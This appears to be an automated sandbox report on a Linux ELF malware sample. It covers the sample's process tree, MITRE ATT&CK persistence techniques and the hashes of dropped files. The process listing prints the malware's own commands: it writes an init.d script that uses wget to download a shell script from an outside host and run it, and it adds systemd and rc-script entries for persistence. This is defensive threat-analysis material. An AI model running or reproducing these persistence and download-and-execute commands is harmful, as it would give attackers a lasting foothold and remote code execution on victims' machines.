Overview

overview

9

Static

static

1

0671ab8eb1...00.elf

ubuntu-24.04-amd64

9

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    28/09/2024, 01:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf

  • Size

    78KB

  • MD5

    a43c7b0fb823947daaebc84fc7f18d51

  • SHA1

    c95a119ea56a0c2b107c7ef47e852ee74e8ac891

  • SHA256

    0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900

  • SHA512

    98f518415d6d8ba4670ca4ecdca9ab8d602a881de9a5f450121f6c6dbad87ee8321d4e13538cb8ec8440cdad8acee906ce5e157f2be1478ec340a98c04337099

  • SSDEEP

    1536:TETBpHwYwiiTKEZ3D1VLc43UMIIVD2rky1m2S1UX67R7lVC9M:EvHJtiTTZT15c4uWD2j1m2Smq7R7lVIM

Score
9/10
defense_evasiondiscoverypersistenceprivilege_escalation

Malware Config

Signatures

Processes

  • /tmp/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf
    /tmp/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf
    1⤵
    • Modifies Watchdog functionality
    • Creates/modifies environment variables
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Modifies Bash startup script
    • Changes its process name
    PID:2476
    • /bin/sh
      sh -c "systemctl enable custom.service >/dev/null 2>&1"
      2⤵
        PID:2478
        • /usr/bin/systemctl
          systemctl enable custom.service
          3⤵
          • Reads runtime system information
          PID:2480
      • /bin/sh
        sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"
        2⤵
        • File and Directory Permissions Modification
        PID:2618
        • /usr/bin/chmod
          chmod +x /etc/init.d/mybinary
          3⤵
          • File and Directory Permissions Modification
          PID:2619
      • /bin/sh
        sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"
        2⤵
          PID:2622
          • /usr/bin/ln
            ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary
            3⤵
              PID:2623
          • /bin/sh
            sh -c "echo \"#!/bin/sh # /etc/init.d/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf case \\\"\$1\\\" in start) echo 'Starting 0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf' /tmp/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf & wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh chmod +x /tmp/lol.sh /tmp/lol.sh & ;; stop) echo 'Stopping 0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf' killall 0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf ;; restart) \$0 stop \$0 start ;; *) echo \\\"Usage: \$0 {start|stop|restart}\\\" exit 1 ;; esac exit 0\" > /etc/init.d/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf"
            2⤵
            • File and Directory Permissions Modification
            • Modifies init.d
            PID:2624
          • /bin/sh
            sh -c "chmod +x /etc/init.d/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf >/dev/null 2>&1"
            2⤵
            • File and Directory Permissions Modification
            PID:2626
            • /usr/bin/chmod
              chmod +x /etc/init.d/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf
              3⤵
              • File and Directory Permissions Modification
              PID:2627
          • /bin/sh
            sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
            2⤵
              PID:2628
              • /usr/bin/mkdir
                mkdir -p /etc/rc.d
                3⤵
                • Reads runtime system information
                PID:2629
            • /bin/sh
              sh -c "ln -s /etc/init.d/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf /etc/rc.d/S990671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf >/dev/null 2>&1"
              2⤵
                PID:2630
                • /usr/bin/ln
                  ln -s /etc/init.d/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf /etc/rc.d/S990671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf
                  3⤵
                    PID:2631

              Network

                    MITRE ATT&CK Enterprise v15

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Persistence

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    XDG Autostart Entries

                    1
                    T1547.013

                    Boot or Logon Initialization Scripts

                    2
                    T1037

                    RC Scripts

                    2
                    T1037.004

                    Create or Modify System Process

                    1
                    T1543

                    Systemd Service

                    1
                    T1543.002

                    Event Triggered Execution

                    1
                    T1546

                    Unix Shell Configuration Modification

                    1
                    T1546.004

                    Hijack Execution Flow

                    1
                    T1574

                    Path Interception by PATH Environment Variable

                    1
                    T1574.007

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    XDG Autostart Entries

                    1
                    T1547.013

                    Boot or Logon Initialization Scripts

                    2
                    T1037

                    RC Scripts

                    2
                    T1037.004

                    Create or Modify System Process

                    1
                    T1543

                    Systemd Service

                    1
                    T1543.002

                    Event Triggered Execution

                    1
                    T1546

                    Unix Shell Configuration Modification

                    1
                    T1546.004

                    Hijack Execution Flow

                    1
                    T1574

                    Path Interception by PATH Environment Variable

                    1
                    T1574.007

                    Defense Evasion

                    File and Directory Permissions Modification

                    1
                    T1222

                    Linux and Mac File and Directory Permissions Modification

                    1
                    T1222.002

                    Hijack Execution Flow

                    1
                    T1574

                    Path Interception by PATH Environment Variable

                    1
                    T1574.007

                    Impair Defenses

                    1
                    T1562

                    Credential Access

                    Discovery

                    Network Service Discovery

                    1
                    T1046

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /boot/bootcmd
                      Filesize

                      185B

                      MD5

                      0de6f644c29c9b9d4aeacb1bf6cdbda0

                      SHA1

                      b3cb702c8bfd79a199dde3e537babf7a24989de3

                      SHA256

                      f17dbebeed50854c38660e16cfc6efd4dd90ea9ffd1f9da6004d00a4af4a273b

                      SHA512

                      95e65bf1979d9be64f8d2bab1992b8e1ed5f2cb68baf7e32c3302beee542298ed4baa61aa7ece20f0f999e070edae2ec2f73e1cf9741834dd63a4e519e177c27

                      Download Submit

                    • /etc/init.d/0671ab8eb145cea8e6b613b958a817e12d512a24ea1b5a3a2091a3b556c2a900.elf
                      Filesize

                      693B

                      MD5

                      6d59b682b7b19cc3e1fc2e4c55b3b401

                      SHA1

                      0d62c1c2fc2dadfacb191fc6d78ecd7a57fde9e2

                      SHA256

                      e0bd0ced87c89e137a3c31fb7e200f80cf6792d853f93ba71d267184a06a260c

                      SHA512

                      7be8044103f7e23d78f74924d57423194d82395518e6f96608982fb873f8742ceec44fe56292e0f965c294bf332bfa846053a1ae00d1f037958c0d8a523958de

                      Download Submit

                    • /etc/init.d/mybinary
                      Filesize

                      172B

                      MD5

                      c1cf3125ff8d8442fbb7ca9a02d78cbb

                      SHA1

                      b511d3191acabb8ebdb24a30dfdc84140ef1b741

                      SHA256

                      07e322b1cd05be9c98ec4bdd7f469867695956075e90a49bc7ffaf1f855eca60

                      SHA512

                      e0d5e6d0205dcb4d5636daef9be2011f38e7e662d2ba9545f1a360e4b1542e4cf3b1a21b99b4025f4361ecc3ff7b45ab3801d2516f72cfb59afa478daad8cf29

                      Download Submit

                    • /etc/inittab
                      Filesize

                      177B

                      MD5

                      f1487e9500bbe6a26c2d68bf1f9ec275

                      SHA1

                      efc06b69005cebc60f595f97671383c7fe8559d3

                      SHA256

                      b37ba5eec300be248ccd2664b94fba2d6083708fa7a052d2e81b482094c9db4e

                      SHA512

                      fc975c6c89e72a7c4bedeb09c3df460871d3b60cca65d295d2fd4b9d36fe871f16cf47db8ccacfccddc6301e69b121e5778a48de95ec7dae88a0882c1ba4166f

                      Download Submit

                    • /etc/motd
                      Filesize

                      53B

                      MD5

                      2bd9b4be30579e633fc0191aa93df486

                      SHA1

                      7d63a9bd9662e86666b27c1b50db8e7370c624ff

                      SHA256

                      64dc39f3004dc93c9fc4f1467b4807f2d8e3eb0bfa96b15c19cd8e7d6fa77a1d

                      SHA512

                      ae6dd7b39191354cf43cf65e517460d7d4c61b8f5c08e33e6ca3c451dc7cab4de89f33934c89396b80f1aade0a4e2571bd5ae8b76ef80b737d4588703d2814d5

                      Download Submit

                    • /etc/systemd/system/custom.service
                      Filesize

                      366B

                      MD5

                      482951ea2a85fb19460582cb7173a0f9

                      SHA1

                      21d809643e3c4723ef83982243687574b65d0af7

                      SHA256

                      60abcfa9e3dd40396d0bf451e4bf9a15a1130b5dee66ec14eee26e681e452c84

                      SHA512

                      fd0d8be6519eced554186ea446351d43431487681ec286054f98e6cbfc45e385dfb00d1a31ab774882395d7c533d9a71d974620280f330d54b759efd603160b4

                      Download Submit